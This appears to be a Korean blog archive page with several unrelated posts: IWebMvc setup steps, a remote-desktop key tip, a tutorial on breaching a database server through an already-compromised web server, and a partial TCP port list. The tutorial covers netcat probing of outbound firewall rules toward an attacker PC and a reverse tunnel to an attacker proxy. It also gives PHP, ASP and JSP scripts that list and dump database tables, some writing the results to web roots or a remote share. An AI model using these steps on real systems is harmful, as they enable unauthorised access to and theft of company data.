And dozens of bug fixes and other issues. All in all, a decent work! Remember that you can download it from the repository. Or save time by watching the (trimmed) screencast (you may need this codec). Enjoy it!

출처 :  http://internna.blogspot.com/2008/04/iwebmvc-milestone-3-released.html
Posted by 1010
98..Etc/Etc...2008. 7. 24. 13:39
반응형

이거 한번 돌려 보자.

1. JDK 5.x 이상 버젼에서 돌아간다.
    ( 기본환경은 JDK5.x이상 + Ant1.7.x이상 + Eclipse3.3이상의 환경이다. )
   1.1 대충 눈치껏 설치한다.

2. MySql-5.x이상 다운받아 설치한다.
   2.1 다운 받는다.(나는 인스톨버젼이 아닌 압축버젼을 받았다.)
   2.2 적당한 디렉토리에 압축을 풀고 mysql-nt.exe를 실행시킨다.
   2.3 Dos Command 창에서 해당 디렉토리로 이동한다.
   2.4 mysql -uroot mysql 명령으로 접속후 create database iwebmvc; 명령으로 DB를 생성한다.
   2.5 mysql은 여전히 기동시켜 둔다.

사용자 삽입 이미지

3. ivy를 설치하고 테스트 한다.
   3.1 Apache ivy를 다운로드 한다.(현재 2.0.0 Beta2 이다)
   3.2 적당한 디렉토리에 압축을 풀면 jar파일이 두개 있다. 그걸 Ant의 lib 폴더에 복사한다.
   3.3 Dos Command 창에서 ivy 디렉토리로 이동한다.
   3.4 의 ivy 디렉토리에서 src\example\hello-ivy로 이동한후 ant 를 실행한다.
   3.5 Build가 성공하면 된다.
사용자 삽입 이미지

4. IWebMvc 다운로드 페이지에서 다운로드 받는다.
   4.1 IWebMvc에서 IWebMvc - Milestone 3.zip 을 다운로드 한다.
      (SVN도 제공한다. http://internna.googlecode.com/svn/trunk/IWebMvc)
   4.2 적당한 디렉토리에 압축을 푼다.
   4.3  iwebmvc.properties를 찾아서 mysql설정을 확인한다.(WEB-INF폴더에 있다.)

5. ant 빌드를 한다.
   5.1  Dos Command 창에서 IWebMvc 디렉토리로 이동한다.
   5.2 run.bat를 실행한다. (각종 jar파일을 다운받기 때문에 시간이 걸린다.)
   5.3 에러없이 빌드가 성공되면 정상이다.
       (최종 빌드에서 에러가 나더라도 ivy에서 jar파일 다운로드까지 성공하면 된다.)
사용자 삽입 이미지

6. Eclipse 프로젝트로 import한다.
   6.1 해당 디렉토리를 찾아 import 시킨다.
   6.2 라이브러리 경로가 안맞는다.(소스관리는 징하게 못한다.-_-;;; 좀좀.. 잘 정리하면 안되나?)
        - 신기하게 Unit Test 파일이 없다.(제거하고 배포한건지...)
   6.3 수동으로 찾아서 관련된 *.jar파일을 찾아서 연결하여 오류를 제거한다.
사용자 삽입 이미지

7. Eclipse 내부 Tomcat으로 'Run as'를 실행한다.
   7.1 Run as를 실행한다.
   7.2 만약 DB가 오라클이라면 안된다. (왜? 테이블생성 스크립트가 기본으로 Mysql이다. ㅡㅡ; )
   7.3 DB Table생성까지 성공적으로 되었다면 Tomcat이 정상적으로 올라온다.

8. 해당 사이트를 확인 한다.
   8.1 avi 동영상을 미리 봤다면 알겠지만 해당 화면이 나타난다.
사용자 삽입 이미지

9. CRUD 소개 동영상으로 따라 해본다.
   9.1 두개의 동영상이 있다 각각 다운받아 따라해 보자.
        Link : http://code.google.com/p/internna/downloads/list
Posted by 1010
98..Etc/Etc...2008. 7. 24. 13:22
반응형

원격 데스크탑에서 Ctrl+Alt+Del키를 쓸 일이 있다면 del키 대신 end를 누르면 된다.

Posted by 1010
98..Etc/Security2008. 7. 24. 12:53
반응형

웹서버를 경유한 DB서버 해킹

 

웹서버를 경유한 DB서버 해킹


방화벽의 Private또는 DMZ에 웹서버또는 DB와 연동할 수 있는
서버를 점령 후에 어떻게 DB 서버를 해킹하는가에 대한 궁금증 해결을 위해 작성한 문서이다.
-----------------------------------------------------------------------------------------------------------------
I. 네트워크 구성도
1) 인터넷  -------방화벽------- 웹서버 --------방화벽---------DB서버

2) 인터넷  -------방화벽------- 웹서버   
                               DB서버 
                               (DMZ존)
------------------------------------------------------------------------------------------------------------------
II. 개요
본 문서에 있는 방법은 이미 다 알고 있는 내용이거나 인터넷에 찾아 보면 다 나오는 내용들이다
내용상의 틀린 부분이 있으면 지적해 주시면 감사감사~~~
Private 또는 DMZ에 위치하는 DB 서버를 해킹 하기 위해선
먼저 DB 접속 인증 id/passwd 또는 sid 를 알아야 하며 또한 웹서버를 경유하여 DB와 접속을 하여야 하므로
어떤 방법으로든 웹서버는 점령하여야 한다.
웹서버 점령에 관해서는 이 문서에서는 언급 하지 않는다.
이유는 너무나 많은 방법이 있으며 나도 그 모든 방법에 대해서 모른다.
또한 이와 같이 삽질을 안하고도 대다수의 웹서버의 temp,tmp디렉토리 또는 admin 권한으로 DB의 내용을 획득할
수도 있으나 어쩔수 없이 DB 쿼리를 해야 하는 상황에 대해서 설명한다.
물론 해당 웹서버를 직접 공격하지 않고 sql injection 공격을 할 수 있으면 아래와 같은 삽질은 하지 않아도 될것이다.
일단 방화벽 내의 웹서버를 점령한 후 DB서버를 해킹 하는 방법은 상당히 많은
방법이 있으며 dbms의 종류 웹서버의 종류 cgi의 종류에 따라 많은 조합의 공격법이 있다.
또한 DB 서버를 해킹할때 root권한 획득과 같은 방법은 별 필요가 없을 것이다.
왜냐하면 결국 DB 서버의 해킹의 목적은 DB의 내용을 획득하는 것이기 때문에 root권한이 필요가 없다.
DB를 쿼리하기 이전에 웹서버 앞의 Firewall Rule에 따라 접근개념이 틀려 질 수 있으므로
아래와 같이 크게 2가지 분류로 나누어 접근하도록 하겠다.
Firewall Rule을 파악하기 위해서 공격자의 PC에 Sniffing Tool을 설치하고 해당 웹서버에는 nc를 설치한다.
공격자의 PC에서는 해당 웹서버에서 공격자 PC로 전송되는 패킷에 대한 검사를 수행하고
해당 웹서버에서는 다음과 같이 실행한다
nc -v -w2 -z [공격자 PC IP] 1-65535
이는 해당 웹서버에서 공격자 PC로의 어떤 서비스가 통과 가능한지 파악하기 위함이다.
Firewall Rule에서 특정 서비스에 대해서만 Accept되어 있을 수 있다 예를 들어 외부로 나가는 dns또는 특정 Application의
update서비스와 같이 특정 서비스만 Accept되어 있으면 그 서비스를 판단할 수 있다.
또한 공격자의 PC에서 Sniffing을 설치하여 패킷 검사를 하는 이유는 nc는 nmap과 같이 closed와 filtered를 구분하지
못하기 때문에 수동으로 패킷을 검사하여 확인을 한다.
nc수행 결과 공격자의 PC로 한개 이상의 syn 패킷이 전송이 된다면 아래 1번 방법으로 DB 쿼리가 가능하다
2번 방법은 웹서버에서 인터넷구간으로의 Outbound Rule이 서비스 전체에 대해 Deny일 경우로
해당 웹서버의 cgi를 이용하여 DB쿼리를 수행한다.

-------------------------------------------------------------------------------------------------------------------
III. 실전 DB 해킹
1) Firewall Rule에서 Source IP가 웹서버에서 외부 인터넷구간으로의 Outbound Rule이 Accept인 경우
이는 port redirect(cevert tunnel, reverse telnet)이 가능한 상태이다.
즉 외부에서 해당 웹서버의 쉘을 띄울수가 있는 상태이므로 쉽게 DB쿼리가 가능하다.
우선 공격대상 네트워크는 아래와 같다고 가정한다.
실제 Firewall/네트워크 구성이 상당수 기업들이 이와 유사하게 설정 되어 있다.
===================================================================================================================
[공인:210.210.210.210]                         [공인: 220.220.220.220]                       [사설:192.168.0.100]
공격자 PC1 -------------------- 방화벽 ----------------- 웹서버 ------------방화벽----------------- DB 서버
                      Any    웹서버 80     Accept              웹서버   DB서버  DB서비스 Accept
                      Any    웹서버 Any    Deny                Any      DB서버  Any      Deny
                      웹서버 Any    8080   Accept
                      웹서버 Any    Any    Deny
공격자 PC2(Proxy 서버)
[공인:210.210.210.211]
=====================================================================================================================
port redirect는 yatunnel이란 tool을 이용하여 아래와 같이 수행한다.
만일 웹서버에 sql client툴이 있을경우 이를 이용하면 쉽게 DB에 접속하여 쿼리를 할 수 있으나
경험상 아마도 없을 것이다. ^^;
- 공격자 PC2(Proxy 서버)에서의 작업
 Proxy 서버측에서 웹서버와 Tunneling 할 port를 open한다.
 [root@Proxy Server]# ./tun-proxy -p 12345

- 웹서버에서의 작업
 tun-server의 소스를 보면 127.0.0.1:22로 redirect를 한다.
 이 부분은 자신이 원하는 주소와 port를 수정하여 사용 가능하다.
 즉, 다른 호스트로 redirect가 가능하다. 즉 이를 192.168.0.100:1433으로 수정한다.
 MSSQL:1433, Oracle:1521, MySQL:3306
 [green@Internal Server]$ ./tun-server -h 210.210.210.211 -p 12345
- 공격자 PC1 에서의 작업
 각종 SQL Client를 이용하여 210.210.210.211:12345로 DB와 Connect하고 DB 쿼리를 한다.
 MSSQL, MySQL, Oracle에 대한 SQL Client는 아래 사이트에 있는 SQL Gate가 사용이 용이하고 쉽다.
 http://www.sqlgate.com/html/index.html
* yatunnel을 이용한 SQL Client 연결은 한번도 테스트는 해 보지 않았다
 안될 이유는 없을것 이라고 판단이 되나 누군가 테스트 해 볼 기회가 된다면 안되면 연락을 주길 바란다.

2) Firewall Rule에서 Source IP가 웹서버에서 외부 인터넷구간으로의 Outbound Rule이 Deny인 경우
Outbound Rule이 Deny일 경우 순전히 해당 웹서버의 cgi를 이용하여 DB 쿼리를 하여야 한다.
이는 상당히 많은 조합이 필요하다 ㅠㅠ;
가장많이 사용되는 php, asp, jsp를 예로 들어 보겠다.
2-1) php를 사용할 경우
가장 먼저 DB Name과 Table Name을 알아야 DB 쿼리를 한다.
웹서버의 php파일들을 뒤져서 DB Name과 Table Name을 찾아 낼수 있지만 이 얼마나 노가다 인가...
그래서 아래와 같은 DB 구조 파악을 할 수 있는 php파일을 실행 시키자.
아래의 예제는 Mysql을 예로 들었다.
물론 아래의 몇몇 변수는 시스템 환경에 맞게 수정을 하여야 한다.

------------------------------------디비/테이블 알아내기---------------------------------------------
<?
$db = mysql_connect($host, $user, $password);
mysql_select_db($database);
//전체 DB보기
$db_list = mysql_list_dbs($db);
echo "전체 DB >>>>>";
while ($row = mysql_fetch_object($db_list)) {
$database= $row->Database;
echo "<a href=$PHP_SELF?dbname=$database>$row->Database </a>|| ";
}
$table_rs = mysql_list_tables($database);                  ////// 테이블을 볼 테이타 베이스명
echo "<style>td {font-size:9pt}</style>
<table >
<tr>";
$rows = 0;
while($tables = mysql_fetch_array($table_rs)){
       $query = "select * from $tables[0]";
       $field_rs = mysql_query($query, $db);
       $field = mysql_fetch_field($field_rs);            /////////// 필드명 구하기
       $cols = mysql_num_fields($field_rs);              /////////// 필드수 구하기
       if($rows%5 == 0) echo "</tr><tr><td height=20></td></tr><tr>";      //// 칼럼수가 5개 이면 줄 바꿈
       echo "<td valign=top>
             <table width=180 cellspacing=0 border=1 bordercolordark=white bordercolorlight=black>
               <tr>
                   <td colspan=2 align=center><b>$tables[0]</b></td>
               </tr>
               <tr align=center>
                   <td >필드명</td>
                   <td >Type</td>
               </tr>";
for($i=0; $i < $cols; $i++){
               echo "
               <tr align=right>
                   <td>".mysql_field_name($field_rs, $i)."</td>
                   <td>".mysql_field_type($field_rs, $i)." (".mysql_field_len($field_rs, $i).")</td>
               </tr>\n";
       }
       echo "</table></td>";
       $rows++;
}
echo "</tr></table>";
?>
-------------------------------------------------------------------------------------------------------------

-----------------------------테이블의 데이타 쿼리하기--------------------------------------------------------
// 데이타 양이 많을경우 디져버릴수 있으니 게시판 형태로 수정하여야 한다.
<?

$connect=mysql_connect("localhost","user_id","password") or  die("Fail to connect SQL");
mysql_select_db( "database_name",$connect);
print "<HTML>n"; 
echo("<h2>
       테이블  $tab_name  의 모든 데이타를 가져옵니다
    </h2>");
print " <form action=$PHP_SELF>";

$stmt = "SELECT * FROM $tab_name";
 $nresult = mysql_query($stmt,$connect );
 $nrows = mysql_affected_rows();
 $results=mysql_fetch_array($nresult);
if ( $nrows > 0 ) {
       print "<TABLE BORDER="1">n";
       print "<TR>n";
       $j=0; 
       while ( list( $key, $val ) = each( $results ) ) {
              if ( $j%2==1  )   print "<TH> $key</TH>n";
             $j++; 
       }     
       print "</TR>n";
                        
      $k=0; 
      for ( $k = 0; $k < $nrows; $k++ ) {
            mysql_data_seek($nresult,$k);
            $results=mysql_fetch_array($nresult);
          
            $m=0; 
            while ( list( $key, $val ) = each( $results ) ) {
                  if ( $m%2==1  )   print "<TD> $val</TD>";
                  $m++;
           } // end of while
            print "</TR>";
    } // end of for
print "</TABLE>n";
} else {
       echo "No data found<BR>n";
}     
print "$nrows Records Selected<BR>n";
                      

print " INPUT TABLE NAME <input type=text name=tab_name value=$tab_name>";
print " <br> <input type=submit value='검색'>";
print " </form>";
print " </html>";
?>
-------------------------------------------------------------------------------------------------------

------------------------------------테이블의 쿼리값을 파일로 저장---------------------------------------
<?

$connect=mysql_connect("localhost","user_id","password") or  die("Fail to connect SQL");
mysql_select_db( "database_name",$connect);
$stmt = "select * from tablename into outfile 'filename'";
mysql_query($stmt,$connect );
?>
--------------------------------------------------------------------------------------------------------

2-2) asp 를 사용할 경우
asp를 사용한다면 90% 이상 mssql과 조합을 이루고 있을 것이다.
Mssql은 sp_maskwebtask API가 있어 상당히 편리(?)하다.
쿼리한 결과값을 화면에 출력하는 수고를 하지 않아도 된다.
이 방법은 asp에만 사용되는 방법이 아니라 해당 DBMS가 MSSQL이라면 php또는 jsp 에서도 해당 cgi에 맞게 DB Connect후
sql query만 아래와 같이 실행하면 된다.
sp_maskwebtask를 이용하여 쿼리의 결과값을 Local서버 또는 Remote서버로 html로 저장시킬 수 있다.
EXEC sp_makewebtask 'c:\inetpub\wwwroot\sqloutput.html', 'select * from sysobjects where xtype = ''U'''
이 명령어로 sysobjects에 있는 User가 생성한 DB 테이블을 쿼리한 결과값을 c:\inetpub\wwwroot\sqloutput.html에 저장한다.
EXEC sp_makewebtask '\\10.0.0.8\public\hack.htmk', 'SELECT * FROM user'
또한 쿼리한 결과값을 remote에 저장시킬 수 있다.
---------------------------------------------------------------------------------------------------------
테이블 정보 알아내기
<%
set Conn = server.createobject("adodb.connection")
Conn.Open "test","sa", ""
set rs = Conn.Execute(" EXEC sp_makewebtask 'c:\inetpub\wwwroot\sqloutput.html', 'select * from sysobjects where xtype = ''U''' ")
%>
-----------------------------------------------------------------------------------------------------------
자 이제 sales 테이블의 결과를 보자.
-----------------------------------------------------------------------------------------------------------
해당 sales 테이블의 전체 내용 쿼리하기
<%
set Conn = server.createobject("adodb.connection")
Conn.Open "test","sa", ""
set rs = Conn.Execute(" EXEC sp_makewebtask 'c:\inetpub\wwwroot\aaa.html', 'select * from sales' ")
%>
-----------------------------------------------------------------------------------------------------------
우와 간단하고 좋다... 역시 MS...

2-3) jsp 를 사용할 경우
jsp일 경우 Windows, *nix와 같이 시스템에 상관없이 운영되기 때문에
연결한 DBMS가 MSSQL, MYSQL, Oracle, Informix 등 다양한 DBMS와 연결을 한다.
가장 많이 사용되는 MSSQL과 Oracle을 예로 들어보잣...
먼저 MSSQL은 asp를 사용할 때와 마찬가지로 sp_maskwebtask API를 사용해서 DB 쿼리를 수행할 수 있다.
---------------------------------------------------------------------------------------------------------
MSSQL 테이블 정보 알아내기
<%@ page contentType="text/html; charset=euc-kr" %>
<%@ page import="java.sql.*, java.io.*"%> 
<%
 String url ="jdbc:freetds:sqlserver://192.168.0.10:1433/WEBDB";
 String id = "sa";
 String pass = "";
 Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver"); 
 Connection conn = DriverManager.getConnection(url,id,pass); 
  
 Statement stmt = conn.createStatement(); 
 String sql = " EXEC sp_makewebtask 'c:\inetpub\wwwroot\sqloutput.html', 'select * from sysobjects where xtype = ''U''' "; 
 ResultSet rs = stmt.executeQuery(sql);   
%>
-----------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------
MSSQL sales 테이블 쿼리하기
<%@ page contentType="text/html; charset=euc-kr" %>
<%@ page import="java.sql.*, java.io.*"%> 
<%

 String url ="jdbc:freetds:sqlserver://192.168.0.10:1433/WEBDB";
 String id = "sa";
 String pass = "";
 Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver"); 
 Connection conn = DriverManager.getConnection(url,id,pass); 
  
 Statement stmt = conn.createStatement(); 
 String sql = " EXEC sp_makewebtask 'c:\inetpub\wwwroot\aaa.html', 'select * from sales' "; 
 ResultSet rs = stmt.executeQuery(sql);   
%>
-----------------------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------------------------
Oracle 테이블 정보 알아내기
<%@ page contentType="text/html; charset=euc-kr" %>
<%@ page import="java.sql.*, java.io.*"%>
<%
 Class.forName("oracle.jdbc.driver.OracleDriver");
 String JDBCDriverType = "jdbc:oracle:thin";
 String DBHost = "test.inzen.com";
 String Port = "1521";
 String SID = "ORA8";
 String url = JDBCDriverType+":@"+DBHost+":"+Port+":"+SID;
 String userID = "test";
 String password = "test";
 String query = "select * from tab";
 Connect con = DriverManager.getConnection(url, userID, password);
 Statement stmt = con.createStatement();
 ResultSet rs = stmt.executeQuery(query);
 File outputFile = new File("jsp웹루트디렉토리/oratable.txt");
 FileWriter fout = new FileWriter(outputFile);
 PrintWriter ps = new PrintWriter(new BufferedWriter( fout ));
 while ( rs.next() ) {
  ps.print ( rs.getString ( 1 ) ) ;
  ps.print ( "        " ) ;
  ps.println ( rs.getString ( 2 ) ) ;
 }
 ps.close() ;
%>
---------------------------------------------------------------------------------------------------------------
위의 File outputFile 에 파일명을 지정하는데 절대 경로와 상대경로 다 쓸 수 있다.
만약 jsp 의 엔진으로 tomcat 을 사용하고 있는경우 /usr/local/jakarta-tomcat/bin 에 default 로 파일이 생성되게 된다.
그러므로 웹에서 불러 올수 있는 경로를 지정해야 한다.
/usr/local/jakarta-tomcat/webapps 의 위치가 jsp 웹  루트 디렉토리라면
File outputFile = new File("/usr/local/jakarta-tomcat/webapps/oratable.txt");
이런 식으로 지정을 한다.
---------------------------------------------------------------------------------------------------------------
Oracle 특정 테이블 쿼리하기
<%@ page contentType="text/html; charset=euc-kr" %>
<%@ page import="java.sql.*, java.io.*"%>
<%
 Class.forName("oracle.jdbc.driver.OracleDriver");
 String JDBCDriverType = "jdbc:oracle:thin";
 String DBHost = "test.inzen.com";
 String Port = "1521";
 String SID = "ORA8";
 String url = JDBCDriverType+":@"+DBHost+":"+Port+":"+SID;
 String userID = "test";
 String password = "test";
 String query = "select gongi, day from gongi";
 Connect con = DriverManager.getConnection(url, userID, password);
 Statement stmt = con.createStatement();
 ResultSet rs = stmt.executeQuery(query);
 File outputFile = new File("jsp웹루트디렉토리/oratable.txt");
 FileWriter fout = new FileWriter(outputFile);
 PrintWriter ps = new PrintWriter(new BufferedWriter( fout ));
 while ( rs.next() ) {
  ps.print ( rs.getString ( 1 ) ) ;
  ps.print ( "        " ) ;
  ps.println ( rs.getString ( 2 ) ) ;
 }
 ps.close() ;
%>
---------------------------------------------------------------------------------------------------------------
The End.

by 작두이글루
Posted by 1010
98..Etc/Etc...2008. 7. 24. 12:46
반응형

TCP Port Number List

TCP Ports
TCP  0  Reserved
TCP  1  Port Service Multiplexer
TCP  2  Management Utility
TCP  3  Compression Process
TCP  4  Unassigned
TCP  5  Remote Job Entry
TCP  6  Unassigned
TCP  7  Echo
TCP  8  Unassigned
TCP  9  Discard
TCP  10  Unassigned
TCP  11  Active Users
TCP  12  Unassigned
TCP  13  Daytime (RFC 867)
TCP  14  Unassigned
TCP  15  Unassigned [was netstat]
TCP  16  Unassigned
TCP  17  Quote of the Day
TCP  18  Message Send Protocol
TCP  19  Character Generator
TCP  20  File Transfer [Default Data]
TCP  21  File Transfer [Control]
TCP  22  SSH Remote Login Protocol
TCP  23  Telnet
TCP  24  any private mail system
TCP  25  Simple Mail Transfer
TCP  26  Unassigned
TCP  27  NSW User System FE
TCP  28  Unassigned
TCP  29  MSG ICP
TCP  30  Unassigned
TCP  31  MSG Authentication
TCP  32  Unassigned
TCP  33  Display Support Protocol
TCP  34  Unassigned
TCP  35  any private printer server
TCP  36  Unassigned
TCP  37  Time / W32.Sober.I virus
TCP  38  Route Access Protocol
TCP  39  Resource Location Protocol
TCP  40  Unassigned
TCP  41  Graphics
TCP  42  Host Name Server
TCP  43  WhoIs
TCP  44  MPM FLAGS Protocol
TCP  45  Message Processing Module [recv]
TCP  46  MPM [default send]
TCP  47  NI FTP
TCP  48  Digital Audit Daemon
TCP  49  Login Host Protocol (TACACS)
TCP  50  Remote Mail Checking Protocol
TCP  51  IMP Logical Address Maintenance
TCP  52  XNS Time Protocol
TCP  53  Domain Name Server
TCP  54  XNS Clearinghouse
TCP  55  ISI Graphics Language
TCP  56  XNS Authentication
TCP  57  any private terminal access
TCP  58  XNS Mail
TCP  59  any private file service
TCP  60  Unassigned
TCP  61  NI MAIL
TCP  62  ACA Services
TCP  63  whois++
TCP  64  Communications Integrator (CI)
TCP  65  TACACS-Database Service
TCP  66  Oracle SQL*NET
TCP  67  Bootstrap Protocol Server
TCP  68  Bootstrap Protocol Client
TCP  69  Trivial File Transfer
TCP  70  Gopher
TCP  71  Remote Job Service
TCP  72  Remote Job Service
TCP  73  Remote Job Service
TCP  74  Remote Job Service
TCP  75  any private dial out service
TCP  76  Distributed External Object Store
TCP  77  any private RJE service
TCP  78  vettcp
TCP  79  Finger
TCP  80  World Wide Web HTTP
TCP  81  HOSTS2 Name Server / Bagle-AZ worm / Win32.Rbot worm
TCP  82  XFER Utility
TCP  83  MIT ML Device
TCP  84  Common Trace Facility
TCP  85  MIT ML Device
TCP  86  Micro Focus Cobol
TCP  87  any private terminal link
TCP  88  Kerberos
TCP  89  SU/MIT Telnet Gateway
TCP  90  DNSIX Securit Attribute Token Map
TCP  91  MIT Dover Spooler
TCP  92  Network Printing Protocol
TCP  93  Device Control Protocol
TCP  94  Tivoli Object Dispatcher
TCP  95  SUPDUP
TCP  96  DIXIE Protocol Specification
TCP  97  Swift Remote Virtural File Protocol
TCP  98  Linuxconf / TAC News
TCP  99  Metagram Relay
TCP  100  [unauthorized use]
TCP  101  NIC Host Name Server
TCP  102  MSExchangeMTA X.400 / ISO-TSAP Class 0
TCP  103  Genesis Point-to-Point Trans Net
TCP  104  ACR-NEMA Digital Imag. & Comm. 300
TCP  105  Mailbox Name Nameserver
TCP  106  3COM-TSMUX
TCP  107  Remote Telnet Service
TCP  108  SNA Gateway Access Server
TCP  109  Post Office Protocol - Version 2
TCP  110  Post Office Protocol - Version 3
TCP  111  SUN Remote Procedure Call
TCP  112  McIDAS Data Transmission Protocol
TCP  113  Authentication Service
TCP  114  Audio News Multicast
TCP  115  Simple File Transfer Protocol
TCP  116  ANSA REX Notify
TCP  117  UUCP Path Service
TCP  118  SQL Services
TCP  119  Network News Transfer Protocol
TCP  120  CFDPTKT
TCP  121  Encore Expedited Remote Pro.Call
TCP  122  SMAKYNET
TCP  123  Network Time Protocol
TCP  124  ANSA REX Trader
TCP  125  Locus PC-Interface Net Map Ser
TCP  126  Unisys Unitary Login
TCP  127  Locus PC-Interface Conn Server
TCP  128  GSS X License Verification
TCP  129  Password Generator Protocol
TCP  130  cisco FNATIVE
TCP  131  cisco TNATIVE
TCP  132  cisco SYSMAINT
TCP  133  Statistics Service
TCP  134  INGRES-NET Service
TCP  135  DCE endpoint resolution
TCP  136  PROFILE Naming System
TCP  137  NETBIOS Name Service
TCP  138  NETBIOS Datagram Service
TCP  139  NETBIOS Session Service
TCP  140  EMFIS Data Service
TCP  141  EMFIS Control Service
TCP  142  Britton-Lee IDM
TCP  143  Internet Message Access Protocol
TCP  144  Universal Management Architecture
TCP  145  UAAC Protocol
TCP  146  ISO-IP0
TCP  147  ISO-IP
TCP  148  Jargon
TCP  149  AED 512 Emulation Service
TCP  150  SQL-NET
TCP  151  HEMS
TCP  152  Background File Transfer Program
TCP  153  SGMP
TCP  154  NETSC
TCP  155  NETSC
TCP  156  SQL Service
TCP  157  KNET/VM Command/Message Protocol
TCP  158  PCMail Server
TCP  159  NSS-Routing
TCP  160  SGMP-TRAPS
TCP  161  SNMP
TCP  162  SNMPTRAP
TCP  163  CMIP/TCP Manager
TCP  164  CMIP/TCP Agent
TCP  165  Xerox
TCP  166  Sirius Systems
TCP  167  NAMP
TCP  168  RSVD
TCP  169  SEND
TCP  170  Network PostScript
TCP  171  Network Innovations Multiplex
TCP  172  Network Innovations CL/1
TCP  173  Xyplex
TCP  174  MAILQ
TCP  175  VMNET
TCP  176  GENRAD-MUX
TCP  177  X Display Manager Control Protocol
TCP  178  NextStep Window Server
TCP  179  Border Gateway Protocol
TCP  180  Intergraph
TCP  181  Unify
TCP  182  Unisys Audit SITP
TCP  183  OCBinder
TCP  184  OCServer
TCP  185  Remote-KIS
TCP  186  KIS Protocol
TCP  187  Application Communication Interface
TCP  188  Plus Five's MUMPS
TCP  189  Queued File Transport
TCP  190  Gateway Access Control Protocol
TCP  191  Prospero Directory Service
TCP  192  OSU Network Monitoring System
TCP  193  Spider Remote Monitoring Protocol
TCP  194  Internet Relay Chat Protocol
TCP  195  DNSIX Network Level Module Audit
TCP  196  DNSIX Session Mgt Module Audit Redir
TCP  197  Directory Location Service
TCP  198  Directory Location Service Monitor
TCP  199  SMUX
TCP  200  IBM System Resource Controller
TCP  201  AppleTalk Routing Maintenance
TCP  202  AppleTalk Name Binding
TCP  203  AppleTalk Unused
TCP  204  AppleTalk Echo
TCP  205  AppleTalk Unused
TCP  206  AppleTalk Zone Information
TCP  207  AppleTalk Unused
TCP  208  AppleTalk Unused
TCP  209  The Quick Mail Transfer Protocol
TCP  210  ANSI Z39.50
TCP  211  Texas Instruments 914C/G Terminal
TCP  212  ATEXSSTR
TCP  213  IPX
TCP  214  VM PWSCS
TCP  215  Insignia Solutions
TCP  216  Computer Associates Int'l License Server
TCP  217  dBASE Unix
TCP  218  Netix Message Posting Protocol
TCP  219  Unisys ARPs
TCP  220  Interactive Mail Access Protocol v3
TCP  221  Berkeley rlogind with SPX auth
TCP  222  Berkeley rshd with SPX auth
TCP  223  Certificate Distribution Center
TCP  224  masqdialer
TCP  242  Direct
TCP  243  Survey Measurement
TCP  244  inbusiness
TCP  245  LINK
TCP  246  Display Systems Protocol
TCP  247  SUBNTBCST_TFTP
TCP  248  bhfhs
TCP  256  RAP/Checkpoint SNMP
TCP  257  Check Point / Secure Electronic Transaction
TCP  258  Check Point / Yak Winsock Personal Chat
TCP  259  Check Point Firewall-1 telnet auth / Efficient Short Remote Operations
TCP  260  Openport
TCP  261  IIOP Name Service over TLS/SSL
TCP  262  Arcisdms
TCP  263  HDAP
TCP  264  BGMP / Check Point
TCP  265  X-Bone CTL
TCP  266  SCSI on ST
TCP  267  Tobit David Service Layer
TCP  268  Tobit David Replica
TCP  280  HTTP-mgmt
TCP  281  Personal Link
TCP  282  Cable Port A/X
TCP  283  rescap
TCP  284  corerjd
TCP  286  FXP-1
TCP  287  K-BLOCK
TCP  308  Novastor Backup
TCP  309  EntrustTime
TCP  310  bhmds
TCP  311  AppleShare IP WebAdmin
TCP  312  VSLMP
TCP  313  Magenta Logic
TCP  314  Opalis Robot
TCP  315  DPSI
TCP  316  decAuth
TCP  317  Zannet
TCP  318  PKIX TimeStamp
TCP  319  PTP Event
TCP  320  PTP General
TCP  321  PIP
TCP  322  RTSPS
TCP  333  Texar Security Port
TCP  344  Prospero Data Access Protocol
TCP  345  Perf Analysis Workbench
TCP  346  Zebra server
TCP  347  Fatmen Server
TCP  348  Cabletron Management Protocol
TCP  349  mftp
TCP  350  MATIP Type A
TCP  351  bhoetty (added 5/21/97)
TCP  352  bhoedap4 (added 5/21/97)
TCP  353  NDSAUTH
TCP  354  bh611
TCP  355  DATEX-ASN
TCP  356  Cloanto Net 1
TCP  357  bhevent
TCP  358  Shrinkwrap
TCP  359  Tenebris Network Trace Service
TCP  360  scoi2odialog
TCP  361  Semantix
TCP  362  SRS Send
TCP  363  RSVP Tunnel
TCP  364  Aurora CMGR
TCP  365  DTK
TCP  366  ODMR
TCP  367  MortgageWare
TCP  368  QbikGDP
TCP  369  rpc2portmap
TCP  370  codaauth2
TCP  371  Clearcase
TCP  372  ListProcessor
TCP  373  Legent Corporation
TCP  374  Legent Corporation
TCP  375  Hassle
TCP  376  Amiga Envoy Network Inquiry Proto
TCP  377  NEC Corporation
TCP  378  NEC Corporation
TCP  379  TIA/EIA/IS-99 modem client
TCP  380  TIA/EIA/IS-99 modem server
TCP  381  hp performance data collector
TCP  382  hp performance data managed node
TCP  383  hp performance data alarm manager
TCP  384  A Remote Network Server System
TCP  385  IBM Application
TCP  386  ASA Message Router Object Def.
TCP  387  Appletalk Update-Based Routing Pro.
TCP  388  Unidata LDM
TCP  389  Lightweight Directory Access Protocol / Internet Locator Service (ILS)
TCP  390  UIS
TCP  391  SynOptics SNMP Relay Port
TCP  392  SynOptics Port Broker Port
TCP  393  Data Interpretation System
TCP  394  EMBL Nucleic Data Transfer
TCP  395  NETscout Control Protocol
TCP  396  Novell Netware over IP
TCP  397  Multi Protocol Trans. Net.
TCP  398  Kryptolan
TCP  399  ISO Transport Class 2 Non-Control over TCP
TCP  400  Workstation Solutions
TCP  401  Uninterruptible Power Supply
TCP  402  Genie Protocol
TCP  403  decap
TCP  404  nced
TCP  405  ncld
TCP  406  Interactive Mail Support Protocol
TCP  407  Timbuktu
TCP  408  Prospero Resource Manager Sys. Man.
TCP  409  Prospero Resource Manager Node Man.
TCP  410  DECLadebug Remote Debug Protocol
TCP  411  Remote MT Protocol
TCP  412  NeoModus Direct Connect (Windows file sharing program) / Trap Convention Port
TCP  413  SMSP
TCP  414  InfoSeek
TCP  415  BNet
TCP  416  Silverplatter
TCP  417  Onmux
TCP  418  Hyper-G
TCP  419  Ariel
TCP  420  SMPTE
TCP  421  Ariel
TCP  422  Ariel
TCP  423  IBM Operations Planning and Control Start
TCP  424  IBM Operations Planning and Control Track
TCP  425  ICAD
TCP  426  smartsdp
TCP  427  Server Location
TCP  428  OCS_CMU
TCP  429  OCS_AMU
TCP  430  UTMPSD
TCP  431  UTMPCD
TCP  432  IASD
TCP  433  NNSP
